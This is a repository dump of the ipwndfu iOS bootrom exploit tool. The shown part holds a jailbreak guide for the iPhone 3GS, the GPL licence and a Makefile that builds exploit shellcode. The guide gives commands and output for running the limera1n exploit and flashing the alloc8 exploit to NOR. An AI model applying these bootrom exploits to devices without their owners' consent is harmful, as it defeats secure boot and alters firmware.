Repository: axi0mX/ipwndfu
Branch: master
Commit: 0e28932ec6a2
Files: 54
Total size: 412.2 KB
Directory structure:
gitextract_l5basux5/
├── .gitignore
├── JAILBREAK-GUIDE.md
├── LICENSE
├── Makefile
├── README.md
├── SHAtter.py
├── aes-keys/
│ └── S5L8920-firmware
├── alloc8.py
├── checkm8.py
├── device_platform.py
├── dfu.py
├── dfuexec.py
├── ibootpatcher
├── image3.py
├── image3_24Kpwn.py
├── ipwndfu
├── ipwnrecovery
├── libusbfinder/
│ └── __init__.py
├── limera1n.py
├── nor-backups/
│ └── README
├── nor.py
├── recovery.py
├── src/
│ ├── 24Kpwn-shellcode.S
│ ├── SHAtter-shellcode.S
│ ├── alloc8-shellcode.S
│ ├── checkm8_arm64.S
│ ├── checkm8_armv7.S
│ ├── ibss-flash-nor-shellcode.S
│ ├── limera1n-shellcode.S
│ ├── steaks4uce-shellcode.S
│ ├── t8010_t8011_disable_wxn_arm64.S
│ ├── t8015_shellcode_arm64.S
│ ├── usb_0xA1_2_arm64.S
│ └── usb_0xA1_2_armv7.S
├── steaks4uce.py
├── usb/
│ ├── ACKNOWLEDGEMENTS
│ ├── LICENSE
│ ├── README.rst
│ ├── __init__.py
│ ├── _debug.py
│ ├── _interop.py
│ ├── _lookup.py
│ ├── _objfinalizer.py
│ ├── backend/
│ │ ├── __init__.py
│ │ ├── libusb0.py
│ │ ├── libusb1.py
│ │ └── openusb.py
│ ├── control.py
│ ├── core.py
│ ├── legacy.py
│ ├── libloader.py
│ └── util.py
├── usbexec.py
└── utilities.py
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
*.pyc
nor-backups/nor-*
libusbfinder/libusb-*
SecureROM-*
n88ap-iBSS-4.3.5.img3
*.ipsw
================================================
FILE: JAILBREAK-GUIDE.md
================================================
# Jailbreak guide for iPhone 3GS (new bootrom)
### Steps
1. Backup your data. Everything will be removed from your phone as it is a **full** restore.
2. [Generate a custom 24Kpwn IPSW for iPhone 3GS (old bootrom)](#how-to-create-a-24kpwn-ipsw).
3. [Restore to this custom IPSW on your iPhone 3GS (new bootrom)](#how-to-restore-to-a-custom-ipsw).
4. After restore is complete, your phone will connect back to your computer in DFU Mode. The screen will be black. This is expected. 24Kpwn exploit does not work on iPhone 3GS (new bootrom).
5. Use ipwndfu to put your device into pwned DFU Mode:
```
$ ./ipwndfu -p
*** based on limera1n exploit (heap overflow) by geohot ***
Found: CPID:8920 CPRV:15 CPFM:03 SCEP:03 BDID:00 ECID:XXXXXXXXXXXXXXXX SRTG:[iBoot-359.3.2]
Device is now in pwned DFU Mode.
```
6. Once in pwned DFU Mode, use the -x flag to install the alloc8 exploit. This step will replace 24Kpwn exploit with alloc8.
```
$ ./ipwndfu -x
Installing alloc8 exploit to NOR.
Dumping NOR, part 1/8.
Dumping NOR, part 2/8.
Dumping NOR, part 3/8.
Dumping NOR, part 4/8.
Dumping NOR, part 5/8.
Dumping NOR, part 6/8.
Dumping NOR, part 7/8.
Dumping NOR, part 8/8.
NOR backed up to file: nor-backups/nor-XXXXXXXXXXXXXXXX-20170409-224258.dump
Sending iBSS.
Waiting for iBSS to enter Recovery Mode.
Sending iBSS payload to flash NOR.
Sending run command.
If screen is not red, NOR was flashed successfully and device will reboot.
```
#### Notes:
* Installation takes about 30 seconds. Once NOR is being flashed, the screen will be green for about 10 seconds, and then your phone will reboot.
* If there are any errors before the screen turned green, it is safe to try again.
* If the screen turns red, something went wrong while your phone was being flashed. Trying again probably won't help.
* If there are no issues, the phone will reboot and automatically boot into iOS.
### 3 second delay during boot when using a phone jailbroken with alloc8
alloc8 exploit takes about 3 seconds to run.
When your phone is off, to turn it on you will need to keep holding the Power button for at least 3 seconds, or your phone will not turn on. This might be because LLB protects against accidental presses of the Power button by shutting down the phone if the power button is not being held anymore. Without an exploit it takes less than a second before this check happens, but with alloc8 exploit it will happen after about 3 seconds. It might be possible to change this behavior by patching LLB.
If your phone enters deep sleep, there will be a 3 second delay before it wakes up. This can be fixed if you disable deep sleep with a tweak from Cydia, but your phone's battery life will decrease.
### Where to download older IPSWs
Always download IPSWs directly from Apple, because IPSWs from other sites could be infected with malware.
There is a trusted site where you can find legitimate Apple download links for older IPSW files:
https://ipsw.me/
### How to create a 24Kpwn IPSW
| iOS version | Tool |
|-------------|-------------------------------------------------------------------------------------------------|
| iOS 3.1 | [PwnageTool 3.1.3](https://github.com/axi0mX/PwnageTool-mirror/raw/master/PwnageTool_3.1.3.dmg) |
| iOS 3.1.2 | [PwnageTool 3.1.5](https://github.com/axi0mX/PwnageTool-mirror/raw/master/PwnageTool_3.1.5.dmg) |
| iOS 3.1.3 | [PwnageTool 3.1.5](https://github.com/axi0mX/PwnageTool-mirror/raw/master/PwnageTool_3.1.5.dmg) |
| iOS 4.0 | [PwnageTool 4.01](https://github.com/axi0mX/PwnageTool-mirror/raw/master/PwnageTool_4.01.dmg) |
| iOS 4.3.3 | [redsn0w 0.9.15 beta 3](http://www.iphonehacks.com/download-redsn0w) |
| iOS 5.0 | [redsn0w 0.9.15 beta 3](http://www.iphonehacks.com/download-redsn0w) |
| iOS 5.0.1 | [redsn0w 0.9.15 beta 3](http://www.iphonehacks.com/download-redsn0w) |
| iOS 5.1 | [redsn0w 0.9.15 beta 3](http://www.iphonehacks.com/download-redsn0w) |
| iOS 5.1.1 | [redsn0w 0.9.15 beta 3](http://www.iphonehacks.com/download-redsn0w) |
#### Notes on using redsn0w 0.9.15b3
```
Q: Will this custom IPSW be used on a newer (fixed) version of the iPhone3GS?
A: No
```
You must answer No to create a 24Kpwn IPSW using redsn0w. If you did this correctly, the name of the custom IPSW from redsn0w will start with ```NO_BB_OLDROM_iPhone2,1```.
### Compatibility with older iOS versions
Newer phones might not support some older versions of iOS. You cannot brick your phone by attempting to restore an older version of iOS, so it might be worth it to try anyway. If iTunes restore fails with Error 28, the hardware of your phone is not compatible with that version of iOS.
| Manufactured | Error 28 | Success |
|--------------|------------|------------|
| Week 38 2010 | N/A | 3.1+ |
| Week 48 2010 | N/A | 3.1+ |
| Week 3 2011 | 3.x | 4.3.3+ |
| Week 14 2011 | 3.x | 4.0+ |
| Week 23 2011 | N/A | 3.1.2+ |
| Week 29 2011 | 3.x | 4.0+ |
| Week 36 2011 | 3.x | 4.0+ |
| Week 26 2012 | 3.x, 4.x | 5.0+ |
You can find the week and year of manufacture by looking at the serial number of your phone. If your phone is from 2011 or 2012, help me expand this list and let me what versions worked or didn't work.
### Decoding iPhone 3GS serial number
```
Serial number: AABCCDDDEE
AA = Device ID
B = 2009=9, 2010=0, 2011=1, 2012=2
CC = Week of production
DDD = Unique ID
EE = Color
```
### How to restore to a custom IPSW
1. Enter DFU Mode: https://www.theiphonewiki.com/wiki/DFU_Mode
2. Run exploit to put your phone into pwned DFU Mode. You can use `./ipwndfu -p`.
3. Any version of iTunes should work. In iTunes, hold Option (or SHIFT if using Windows) and click Restore. You should be prompted to choose a file. Choose your custom IPSW.
================================================
FILE: LICENSE
================================================
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc.
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
{one line to give the program's name and a brief idea of what it does.}
Copyright (C) {year} {name of author}
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see .
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
{project} Copyright (C) {year} {fullname}
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
.
================================================
FILE: Makefile
================================================
all: armv6 armv7 arm64
armv6:
arm-none-eabi-as -march=armv6 -mthumb --fatal-warnings -o bin/steaks4uce-shellcode.o src/steaks4uce-shellcode.S
arm-none-eabi-objcopy -O binary bin/steaks4uce-shellcode.o bin/steaks4uce-shellcode.bin
rm bin/steaks4uce-shellcode.o
armv7:
arm-none-eabi-as -mthumb --fatal-warnings -o bin/limera1n-shellcode.o src/limera1n-shellcode.S
arm-none-eabi-objcopy -O binary bin/limera1n-shellcode.o bin/limera1n-shellcode.bin
rm bin/limera1n-shellcode.o
arm-none-eabi-as -mthumb --fatal-warnings -o bin/SHAtter-shellcode.o src/SHAtter-shellcode.S
arm-none-eabi-objcopy -O binary bin/SHAtter-shellcode.o bin/SHAtter-shellcode.bin
rm bin/SHAtter-shellcode.o
arm-none-eabi-as -mthumb --fatal-warnings -o bin/24Kpwn-shellcode.o src/24Kpwn-shellcode.S
arm-none-eabi-objcopy -O binary bin/24Kpwn-shellcode.o bin/24Kpwn-shellcode.bin
rm bin/24Kpwn-shellcode.o
arm-none-eabi-as -mthumb --fatal-warnings -o bin/alloc8-shellcode.o src/alloc8-shellcode.S
arm-none-eabi-objcopy -O binary bin/alloc8-shellcode.o bin/alloc8-shellcode.bin
rm bin/alloc8-shellcode.o
arm-none-eabi-as -mthumb --fatal-warnings -o bin/ibss-flash-nor-shellcode.o src/ibss-flash-nor-shellcode.S
arm-none-eabi-objcopy -O binary bin/ibss-flash-nor-shellcode.o bin/ibss-flash-nor-shellcode.bin
rm bin/ibss-flash-nor-shellcode.o
arm-none-eabi-as -mthumb --fatal-warnings -o bin/usb_0xA1_2_armv7.o src/usb_0xA1_2_armv7.S
arm-none-eabi-objcopy -O binary bin/usb_0xA1_2_armv7.o bin/usb_0xA1_2_armv7.bin
rm bin/usb_0xA1_2_armv7.o
